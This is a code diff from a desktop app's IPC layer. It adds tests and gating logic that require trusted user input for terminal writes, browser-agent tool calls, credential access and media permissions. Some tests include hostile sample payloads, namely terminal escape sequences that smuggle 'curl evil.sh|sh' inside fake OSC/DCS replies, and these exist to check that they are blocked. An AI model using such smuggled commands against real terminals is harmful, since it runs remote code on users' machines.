await handler?.(authorizedEvent, 'tool-1', 'browser_navigate', {
|
||||
url: 'https://evil.example',
|
||||
})
|
||||
await handler?.(
|
||||
authorizedEvent,
|
||||
'tool-1',
|
||||
'browser_navigate',
|
||||
{
|
||||
url: 'https://evil.example',
|
||||
},
|
||||
'chat-1'
|
||||
)
|
||||
).toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('authorized pending Copilot tool call'),
|
||||
@@ -708,9 +761,15 @@ describe('registerIpcHandlers', () => {
|
||||
// An authorized call reaches the driver with the server-persisted args
|
||||
// (which reports its own tool-level failure because no session exists).
|
||||
expect(
|
||||
await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {
|
||||
ignored: 'renderer cannot choose params',
|
||||
})
|
||||
await handler?.(
|
||||
authorizedEvent,
|
||||
'tool-1',
|
||||
'browser_snapshot',
|
||||
{
|
||||
ignored: 'renderer cannot choose params',
|
||||
},
|
||||
'chat-1'
|
||||
)
|
||||
).toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('No page is open yet'),
|
||||
@@ -740,6 +799,28 @@ describe('registerIpcHandlers', () => {
|
||||
cancelActive.mockRestore()
|
||||
})
|
||||
|
||||
it('rejects a browser tool when the renderer claims a different scope than authorization', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const handler = invoke.get('browser-agent:execute-tool')
|
||||
const authorizedEvent = {
|
||||
senderFrame: { url: `${APP}/workspace/ws1` },
|
||||
sender: {
|
||||
session: {
|
||||
fetch: vi.fn(async () =>
|
||||
Response.json({ chatId: 'chat-1', toolName: 'browser_snapshot', args: {} })
|
||||
),
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
expect(
|
||||
await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {}, 'forged-chat')
|
||||
).toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('authorized pending Copilot tool call'),
|
||||
})
|
||||
})
|
||||
|
||||
it('rejects a browser tool authorized after its scope cancellation boundary', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const executeHandler = invoke.get('browser-agent:execute-tool')
|
||||
@@ -807,6 +888,43 @@ describe('registerIpcHandlers', () => {
|
||||
expect(executeTool).toHaveBeenCalledWith('chat-a', 'tool-1', 'list', {})
|
||||
})
|
||||
|
||||
it('requires trusted input to grant browser media while allowing denial without it', async () => {
|
||||
const { invoke, on } = collectHandlers()
|
||||
const panelAction = vi.spyOn(browserDriver, 'handlePanelAction').mockResolvedValue()
|
||||
const handler = on.get('browser-agent:panel-action')
|
||||
|
||||
await invoke.get('browser-agent:activate-scope')?.(inactiveAppEvent, 'chat-media')
|
||||
handler?.(
|
||||
inactiveAppEvent,
|
||||
{ action: 'respond-media-permission', requestId: 'request-1', allowed: true },
|
||||
'chat-media'
|
||||
)
|
||||
handler?.(
|
||||
inactiveAppEvent,
|
||||
{ action: 'respond-media-permission', requestId: 'request-1', allowed: false },
|
||||
'chat-media'
|
||||
)
|
||||
|
||||
expect(panelAction).toHaveBeenCalledOnce()
|
||||
expect(panelAction).toHaveBeenCalledWith('chat-media', {
|
||||
action: 'respond-media-permission',
|
||||
requestId: 'request-1',
|
||||
allowed: false,
|
||||
})
|
||||
|
||||
await invoke.get('browser-agent:activate-scope')?.(activeAppEvent, 'chat-media')
|
||||
handler?.(
|
||||
activeAppEvent,
|
||||
{ action: 'respond-media-permission', requestId: 'request-2', allowed: true },
|
||||
'chat-media'
|
||||
)
|
||||
expect(panelAction).toHaveBeenLastCalledWith('chat-media', {
|
||||
action: 'respond-media-permission',
|
||||
requestId: 'request-2',
|
||||
allowed: true,
|
||||
})
|
||||
})
|
||||
|
||||
it('ignores browser-agent panel actions from outside the app origin', () => {
|
||||
const { on } = collectHandlers()
|
||||
const handler = on.get('browser-agent:panel-action')
|
||||
@@ -1528,14 +1646,11 @@ describe('registerIpcHandlers', () => {
|
||||
expect(forgetCredential).toHaveBeenCalledWith('c1')
|
||||
})
|
||||
|
||||
it('always forwards the replies the PTY solicits', () => {
|
||||
it('forwards fixed PTY device and focus reports without a gesture', () => {
|
||||
const { on } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
|
||||
// The PTY asks for these and the terminal must answer with no user input:
|
||||
// DSR cursor position, device attributes, a focus report (mode 1004, set by
|
||||
// tmux and vim), an SGR mouse report. Gating them would hang whatever asked.
|
||||
const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M']
|
||||
const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[O']
|
||||
for (const reply of replies) {
|
||||
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a')
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', reply)
|
||||
@@ -1548,11 +1663,11 @@ describe('registerIpcHandlers', () => {
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
|
||||
await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-b')
|
||||
on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-a')
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[I')
|
||||
on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-a')
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[24;80R')
|
||||
|
||||
on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-b')
|
||||
expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[I')
|
||||
on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-b')
|
||||
expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[24;80R')
|
||||
})
|
||||
|
||||
it('clears retained terminal output only for an app-owned scope', async () => {
|
||||
@@ -1643,19 +1758,23 @@ describe('registerIpcHandlers', () => {
|
||||
expect(deps.scopeEvents.activateTerminal).toHaveBeenLastCalledWith(appSender, 'chat-retry')
|
||||
})
|
||||
|
||||
it('only disposes provisional terminal scopes from the app origin', async () => {
|
||||
it('only disposes provisional terminal scopes owned by the calling renderer', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const disposeScope = vi.spyOn(deps.terminal, 'disposeScope')
|
||||
const dispose = invoke.get('terminal:dispose-scope')
|
||||
|
||||
expect(await dispose?.(evilEvent, 'pending:new')).toBe(false)
|
||||
expect(await dispose?.(appEvent, 'chat-durable')).toBe(false)
|
||||
expect(await dispose?.(appEvent, 'pending:new')).toBe(false)
|
||||
|
||||
await invoke.get('terminal:activate-scope')?.(appEvent, 'pending:new')
|
||||
expect(await dispose?.(appEvent, 'pending:new')).toBe(true)
|
||||
expect(await dispose?.(appEvent, 'pending:new')).toBe(false)
|
||||
expect(disposeScope).toHaveBeenCalledOnce()
|
||||
expect(disposeScope).toHaveBeenCalledWith('pending:new')
|
||||
})
|
||||
|
||||
it('suspends only durable terminal scopes from the app origin', async () => {
|
||||
it('suspends only the durable terminal scope active in the calling renderer', async () => {
|
||||
const suspendScope = vi.spyOn(deps.terminal, 'suspendScope').mockReturnValue(true)
|
||||
const { invoke } = collectHandlers()
|
||||
const suspend = invoke.get('terminal:suspend-scope')
|
||||
@@ -1663,6 +1782,9 @@ describe('registerIpcHandlers', () => {
|
||||
expect(await suspend?.(evilEvent, 'chat-durable')).toBe(false)
|
||||
expect(await suspend?.(appEvent, 'not valid!')).toBe(false)
|
||||
expect(await suspend?.(appEvent, 'pending:new')).toBe(false)
|
||||
expect(await suspend?.(appEvent, 'chat-durable')).toBe(false)
|
||||
|
||||
await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-durable')
|
||||
expect(await suspend?.(appEvent, 'chat-durable')).toBe(true)
|
||||
expect(suspendScope).toHaveBeenCalledOnce()
|
||||
expect(suspendScope).toHaveBeenCalledWith('chat-durable')
|
||||
@@ -1673,19 +1795,48 @@ describe('registerIpcHandlers', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('closes terminal tabs only after a gesture from their active visible renderer', async () => {
|
||||
const state = { tabs: [], activeTerminalId: null }
|
||||
const close = vi.spyOn(deps.terminal, 'closeUserTerminal').mockReturnValue(state)
|
||||
const { invoke } = collectHandlers()
|
||||
const closeTerminal = invoke.get('terminal:close')
|
||||
|
||||
await invoke.get('terminal:activate-scope')?.(inactiveAppEvent, 'chat-a')
|
||||
await expect(closeTerminal?.(inactiveAppEvent, 't1', 'chat-a')).resolves.toEqual(state)
|
||||
expect(close).not.toHaveBeenCalled()
|
||||
|
||||
await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-a')
|
||||
await expect(closeTerminal?.(activeAppEvent, 't1', 'chat-a')).resolves.toEqual({
|
||||
...state,
|
||||
scopeId: 'chat-a',
|
||||
})
|
||||
expect(close).toHaveBeenCalledWith('chat-a', 't1', activeSender.sender)
|
||||
|
||||
close.mockClear()
|
||||
await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-b')
|
||||
await closeTerminal?.(activeAppEvent, 't1', 'chat-a')
|
||||
expect(close).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('does not expose renderer-wide terminal teardown', () => {
|
||||
const { on } = collectHandlers()
|
||||
|
||||
expect(on.has('terminal:dispose')).toBe(false)
|
||||
})
|
||||
|
||||
it('pastes the clipboard from main rather than taking bytes from the caller', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
|
||||
vi.mocked(clipboard.readText).mockReturnValue('echo hi')
|
||||
|
||||
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true)
|
||||
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi')
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi', activeSender.sender)
|
||||
})
|
||||
|
||||
it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
|
||||
vi.mocked(clipboard.readText).mockReturnValue('echo hi')
|
||||
|
||||
expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1', 'chat-a')).toBe(false)
|
||||
@@ -1698,7 +1849,7 @@ describe('registerIpcHandlers', () => {
|
||||
|
||||
it('rejects an oversized terminal paste before writing to the PTY', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
|
||||
vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1))
|
||||
|
||||
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(
|
||||
@@ -1709,7 +1860,7 @@ describe('registerIpcHandlers', () => {
|
||||
|
||||
it('writes an admitted terminal paste in bounded chunks', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
|
||||
const text = 'x'.repeat(70 * 1024)
|
||||
vi.mocked(clipboard.readText).mockReturnValue(text)
|
||||
|
||||
@@ -1718,7 +1869,7 @@ describe('registerIpcHandlers', () => {
|
||||
expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text)
|
||||
})
|
||||
|
||||
it('gates a command smuggled inside a fake OSC or DCS reply', () => {
|
||||
it('gates renderer-authored mouse, OSC, and DCS terminal sequences', () => {
|
||||
const { on } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
|
||||
@@ -1729,6 +1880,7 @@ describe('registerIpcHandlers', () => {
|
||||
`${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`,
|
||||
`${ESC}Pcurl evil.sh|sh\r${ESC}\\`,
|
||||
`${ESC}[M\r\r\r`,
|
||||
`${ESC}[<0;10;5M`,
|
||||
]
|
||||
for (const payload of smuggled) {
|
||||
on.get('terminal:write')?.(inactiveAppEvent, 't1', payload, 'chat-a')
|
||||
@@ -1736,22 +1888,23 @@ describe('registerIpcHandlers', () => {
|
||||
expect(write).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('still forwards a genuine OSC or DCS reply', () => {
|
||||
it('fails closed for renderer-authored OSC and DCS bodies', () => {
|
||||
const { on } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
|
||||
// Real bodies are printable and terminated by BEL or ST.
|
||||
const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`]
|
||||
// Even well-shaped replies contain renderer-chosen printable text. They
|
||||
// need a future query/response binding before they can safely bypass the
|
||||
// trusted-input gate, so the unconditional path refuses them.
|
||||
const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`]
|
||||
for (const reply of replies) {
|
||||
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a')
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', reply)
|
||||
}
|
||||
expect(write).toHaveBeenCalledTimes(replies.length)
|
||||
expect(write).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('gates every keystroke-shaped payload, not just newline-bearing ones', () => {
|
||||
it('requires recent native input for renderer-authored terminal writes', () => {
|
||||
const { on } = collectHandlers()
|
||||
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
|
||||
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
|
||||
|
||||
// Enumerating "what submits" would have missed these: EOT hands a partial
|
||||
// line to a canonical-mode reader, and 0x0f executes the current line in
|
||||
@@ -1761,8 +1914,9 @@ describe('registerIpcHandlers', () => {
|
||||
}
|
||||
expect(write).not.toHaveBeenCalled()
|
||||
|
||||
on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r', 'chat-a')
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'ls\r')
|
||||
activeSender.press()
|
||||
on.get('terminal:write')?.(activeAppEvent, 't1', 'l', 'chat-a')
|
||||
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'l', activeSender.sender)
|
||||
})
|
||||
|
||||
it('defaults password conflicts to keeping what is already stored', async () => {
|
||||
|
||||
+125
-86
@@ -1,3 +1,5 @@
|
||||
import { normalize } from 'node:path'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
import {
|
||||
type BrowserPanelAction,
|
||||
type BrowserPanelAnchor,
|
||||
@@ -97,16 +99,23 @@ function writeTerminalText(
|
||||
terminal: TerminalRegistry,
|
||||
scope: string,
|
||||
terminalId: string,
|
||||
text: string
|
||||
): void {
|
||||
text: string,
|
||||
owner?: WebContents
|
||||
): boolean {
|
||||
let start = 0
|
||||
while (start < text.length) {
|
||||
let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length)
|
||||
const finalCode = text.charCodeAt(end - 1)
|
||||
if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1
|
||||
terminal.write(scope, terminalId, text.slice(start, end))
|
||||
const chunk = text.slice(start, end)
|
||||
if (owner) {
|
||||
if (!terminal.writeUserInput(scope, terminalId, chunk, owner)) return false
|
||||
} else {
|
||||
terminal.write(scope, terminalId, chunk)
|
||||
}
|
||||
start = end
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
const MICROPHONE_SETTINGS_URLS: Partial<Record<NodeJS.Platform, string>> = {
|
||||
@@ -314,6 +323,10 @@ export function parseDesktopNotificationPayload(raw: unknown): DesktopNotificati
|
||||
export interface IpcDeps {
|
||||
appOrigin: () => string
|
||||
allowHttpLocalhost: () => boolean
|
||||
/** False while local account-data persistence is unavailable or teardown must be retried. */
|
||||
accountDataAvailable: () => boolean
|
||||
/** Absolute paths of the bundled recovery pages allowed to control the shell. */
|
||||
localPagePaths: readonly string[]
|
||||
retryLoad: (sender: WebContents) => void
|
||||
localFilesystem: LocalFilesystemService
|
||||
terminal: TerminalRegistry
|
||||
@@ -381,6 +394,10 @@ interface ChannelSpecBase {
|
||||
gate: ChannelGate
|
||||
passSender?: boolean
|
||||
requires?: ChannelFeature
|
||||
/** Account-bearing storage must be readable and writable before this channel can run. */
|
||||
requiresAccountData?: boolean
|
||||
/** Requires a recent trusted input event for every call, or only selected argument shapes. */
|
||||
needsUserActivation?: boolean | ((args: readonly unknown[]) => boolean)
|
||||
/**
|
||||
* Why this channel's `gate` or `requires` deviates from the rest of its
|
||||
* name family. Required by `check:desktop-ipc` for any channel that does,
|
||||
@@ -396,26 +413,24 @@ interface ChannelSpecBase {
|
||||
type ChannelSpec =
|
||||
| (ChannelSpecBase & {
|
||||
kind: 'invoke'
|
||||
/** Requires an in-progress user gesture in the calling page. */
|
||||
needsUserActivation?: boolean
|
||||
/** Returned to the caller when a gate rejects the call. */
|
||||
denied: unknown
|
||||
handler: (...args: unknown[]) => unknown
|
||||
})
|
||||
| (ChannelSpecBase & {
|
||||
kind: 'send'
|
||||
/**
|
||||
* Requires recent real OS input before a payload is forwarded. Payload-
|
||||
* scoped rather than channel-scoped because the same channel also carries
|
||||
* terminal replies the PTY solicits, which arrive with no user input.
|
||||
*/
|
||||
payloadNeedsDeliberateInput?: boolean
|
||||
handler: (...args: unknown[]) => void
|
||||
})
|
||||
|
||||
function isLocalPageSender(event: IpcMainEvent | IpcMainInvokeEvent): boolean {
|
||||
function isLocalPageSender(
|
||||
event: IpcMainEvent | IpcMainInvokeEvent,
|
||||
localPagePaths: readonly string[]
|
||||
): boolean {
|
||||
try {
|
||||
return new URL(event.senderFrame?.url ?? '').protocol === 'file:'
|
||||
const url = new URL(event.senderFrame?.url ?? '')
|
||||
if (url.protocol !== 'file:') return false
|
||||
const senderPath = normalize(fileURLToPath(url))
|
||||
return localPagePaths.some((allowedPath) => senderPath === normalize(allowedPath))
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
@@ -463,44 +478,16 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean
|
||||
* machine-generated and self-delimiting, which is what makes them safe to
|
||||
* enumerate.
|
||||
*
|
||||
* Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real
|
||||
* DCS or OSC reply carries text terminated by ST or BEL and never a control
|
||||
* byte, so an unbounded interior would let a hostile renderer wrap a whole
|
||||
* command and its submit inside a fake `ESC ] ... CR BEL` and be waved through
|
||||
* as a reply, reopening the path this gate exists to close. X10 mouse is
|
||||
* bounded the same way: its three bytes are offset by 32, so a control byte
|
||||
* there is never legitimate either.
|
||||
* Only numeric/fixed device reports and fixed focus reports are included. DCS,
|
||||
* OSC, and mouse responses are deliberately excluded even when well-formed:
|
||||
* they do not need an unconditional path around the trusted-input gate.
|
||||
*/
|
||||
const PTY_REPLY_BODY = '[\\u0020-\\u00ff]'
|
||||
const PTY_REPLY_PATTERNS = [
|
||||
/\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes
|
||||
/\u001b\[[IO]/, // focus in/out (mode 1004)
|
||||
new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report
|
||||
/\u001b\[<[0-9;]*[mM]/, // SGR mouse report
|
||||
new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response
|
||||
new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response
|
||||
]
|
||||
const PTY_REPLY_PATTERNS = [/\u001b\[[0-9;?]*[Rc]/, /\u001b\[[IO]/]
|
||||
const PTY_REPLY = new RegExp(
|
||||
`^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$`
|
||||
)
|
||||
|
||||
/**
|
||||
* Whether a terminal-write payload needs a person behind it.
|
||||
*
|
||||
* The reply set is enumerated and everything else is gated, rather than the
|
||||
* other way round. "What submits" is not a closed set: besides carriage return
|
||||
* and newline, EOT (`0x04`) hands a partial line straight to a reader in
|
||||
* canonical mode, and `0x0f` is `operate-and-get-next` in bash and
|
||||
* `accept-line-and-down-history` in zsh — both of which execute the current
|
||||
* line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that
|
||||
* set would leave whichever binding was forgotten ungated, so the allowlist runs
|
||||
* the other way and fails closed.
|
||||
*/
|
||||
function needsDeliberateInputForWrite(args: unknown[]): boolean {
|
||||
const data = args[1]
|
||||
if (typeof data !== 'string' || data.length === 0) return false
|
||||
return !PTY_REPLY.test(data)
|
||||
}
|
||||
const MAX_TERMINAL_WRITE_CHARS = 256_000
|
||||
const MAX_PTY_REPLY_CHARS = 8_192
|
||||
|
||||
interface DesktopToolAuthorization {
|
||||
chatId: string
|
||||
@@ -667,6 +654,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'desktop:open-external': {
|
||||
kind: 'invoke',
|
||||
gate: 'any',
|
||||
needsUserActivation: true,
|
||||
deviationReason:
|
||||
'the offline and error pages are local-page senders, not app-origin, and handing a support link to the system browser is the one action that must work when the app cannot reach its origin at all',
|
||||
denied: false,
|
||||
@@ -676,6 +664,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'desktop:open-microphone-settings': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
needsUserActivation: true,
|
||||
denied: false,
|
||||
handler: () => openMicrophoneSettings(),
|
||||
},
|
||||
@@ -684,6 +673,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'desktop:oauth-connect': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
needsUserActivation: true,
|
||||
denied: false,
|
||||
handler: (providerId, scope) => {
|
||||
if (typeof providerId !== 'string') {
|
||||
@@ -699,6 +690,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'desktop:local-filesystem': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
denied: {
|
||||
ok: false,
|
||||
code: 'ACCESS_DENIED',
|
||||
@@ -715,6 +707,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'desktop:settings:set': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
needsUserActivation: ([key]) => key === 'launchAtLogin',
|
||||
denied: null,
|
||||
handler: (key, value) =>
|
||||
isDesktopPreferenceKey(key) && typeof value === 'boolean'
|
||||
@@ -813,11 +806,13 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'desktop:updates:check': {
|
||||
kind: 'send',
|
||||
gate: 'app-origin',
|
||||
needsUserActivation: true,
|
||||
handler: () => deps.updates.check(),
|
||||
},
|
||||
'desktop:updates:install': {
|
||||
kind: 'send',
|
||||
gate: 'app-origin',
|
||||
needsUserActivation: true,
|
||||
handler: () => deps.updates.install(),
|
||||
},
|
||||
'browser-agent:execute-tool': {
|
||||
@@ -992,6 +987,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-agent:get-known-sessions': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
deviationReason:
|
||||
"read/reset of the surface's own data; gating it on the surface would strand the browsing trail with no way to inspect or erase it",
|
||||
denied: { sessions: [] },
|
||||
@@ -1010,6 +1006,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-agent:clear-browsing-data': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
deviationReason:
|
||||
'erasing browsing data has to work with the browser off, which is the state a user clearing it is most likely to be in',
|
||||
needsUserActivation: true,
|
||||
@@ -1084,6 +1081,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
gate: 'app-origin',
|
||||
requires: 'browser',
|
||||
passSender: true,
|
||||
needsUserActivation: ([action]) =>
|
||||
isRecordLike(action) &&
|
||||
action.action === 'respond-media-permission' &&
|
||||
action.allowed === true,
|
||||
handler: (sender, action, rawScope) => {
|
||||
const scope = activeRendererScope(browserScopeBySender, sender as WebContents, rawScope)
|
||||
if (
|
||||
@@ -1333,12 +1334,14 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-credentials:available': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
denied: false,
|
||||
handler: () => credentialsAvailable(),
|
||||
},
|
||||
'browser-credentials:list': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
denied: [],
|
||||
handler: () => listCredentials(),
|
||||
},
|
||||
@@ -1363,6 +1366,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-import:sites': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
deviationReason:
|
||||
'a read of already-imported data; settings lists these hosts to show what an import brought over, which is what you look at while deciding whether to enable the browser',
|
||||
denied: [],
|
||||
@@ -1374,6 +1378,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-credentials:reveal': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
needsUserActivation: true,
|
||||
denied: null,
|
||||
handler: (id) => (typeof id === 'string' ? revealCredential(id) : null),
|
||||
@@ -1381,6 +1386,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-credentials:copy': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
needsUserActivation: true,
|
||||
denied: false,
|
||||
handler: (id) => (typeof id === 'string' ? copyCredential(id) : false),
|
||||
@@ -1388,6 +1394,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-credentials:forget': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
needsUserActivation: true,
|
||||
denied: [],
|
||||
handler: (id) => (typeof id === 'string' ? forgetCredential(id) : listCredentials()),
|
||||
@@ -1395,6 +1402,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
'browser-credentials:forget-all': {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requiresAccountData: true,
|
||||
needsUserActivation: true,
|
||||
denied: [],
|
||||
handler: () => forgetAllCredentials(),
|
||||
@@ -1554,10 +1562,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
requires: 'terminal',
|
||||
passSender: true,
|
||||
denied: false,
|
||||
// The bytes come from the clipboard here, not from the caller, so this
|
||||
// does not need the write gate: a compromised renderer can only replay
|
||||
// what the user already copied. It still needs a real gesture, because
|
||||
// the legitimate caller is a Paste click or ⌘V.
|
||||
// Paste is the sole interactive operation whose bytes do not originate
|
||||
// in the renderer. The shell reads the clipboard itself after a fresh
|
||||
// click/shortcut and still requires visible, focused active-tab
|
||||
// ownership below.
|
||||
needsUserActivation: true,
|
||||
handler: (sender, terminalId, rawScope) => {
|
||||
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
|
||||
@@ -1567,8 +1575,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) {
|
||||
return 'too-large'
|
||||
}
|
||||
writeTerminalText(deps.terminal, scope, terminalId, text)
|
||||
return true
|
||||
return writeTerminalText(deps.terminal, scope, terminalId, text, sender as WebContents)
|
||||
},
|
||||
},
|
||||
'terminal:scrollback': {
|
||||
@@ -1659,10 +1666,19 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requires: 'terminal',
|
||||
passSender: true,
|
||||
denied: false,
|
||||
handler: (rawScope) => {
|
||||
handler: (sender, rawScope) => {
|
||||
const scope = parseDesktopScope(rawScope)
|
||||
if (!scope || !isPendingDesktopScopeId(scope)) return false
|
||||
const contents = sender as WebContents
|
||||
if (
|
||||
!scope ||
|
||||
!isPendingDesktopScopeId(scope) ||
|
||||
!terminalPendingScopesBySender.get(contents)?.has(scope)
|
||||
) {
|
||||
return false
|
||||
}
|
||||
consumePendingScope(terminalPendingScopesBySender, contents, scope)
|
||||
deps.terminal.disposeScope(scope)
|
||||
return true
|
||||
},
|
||||
@@ -1671,10 +1687,18 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
kind: 'invoke',
|
||||
gate: 'app-origin',
|
||||
requires: 'terminal',
|
||||
passSender: true,
|
||||
denied: false,
|
||||
handler: (rawScope) => {
|
||||
handler: (sender, rawScope) => {
|
||||
const scope = parseDesktopScope(rawScope)
|
||||
if (!scope || isPendingDesktopScopeId(scope)) return false
|
||||
const contents = sender as WebContents
|
||||
if (
|
||||
!scope ||
|
||||
isPendingDesktopScopeId(scope) ||
|
||||
terminalScopeBySender.get(contents) !== scope
|
||||
) {
|
||||
return false
|
||||
}
|
||||
const suspended = deps.terminal.suspendScope(scope)
|
||||
if (suspended) {
|
||||
deps.scopeEvents.sendTerminal(scope, 'terminal:scope-suspended', scope)
|
||||
@@ -1737,13 +1761,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
|
||||
gate: 'app-origin',
|
||||
requires: 'terminal',
|
||||
